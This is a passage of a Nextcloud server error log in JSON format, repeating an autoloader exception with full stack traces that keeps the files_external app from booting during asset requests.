entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"AVjlvkGJUyv8G0tXrAl7","level":4,"time":"2022-11-09T12:55:33+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/css/spreed/904f-e3f2-icons.css?v=b92d206521717ac032f8aa58d3c7ff2f-904fe0c3-0","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"Z6Ak5nWYkCMifSMO3toV","level":4,"time":"2022-11-09T12:55:33+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/css/core/a732-e3f2-css-variables.css?v=b92d206521717ac032f8aa58d3c7ff2f-b5125f36-0","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"6j62heKBhNVTZYyApdfL","level":4,"time":"2022-11-09T12:55:34+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/js/core/merged-template-prepend.js?v=b5125f36-0","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSyste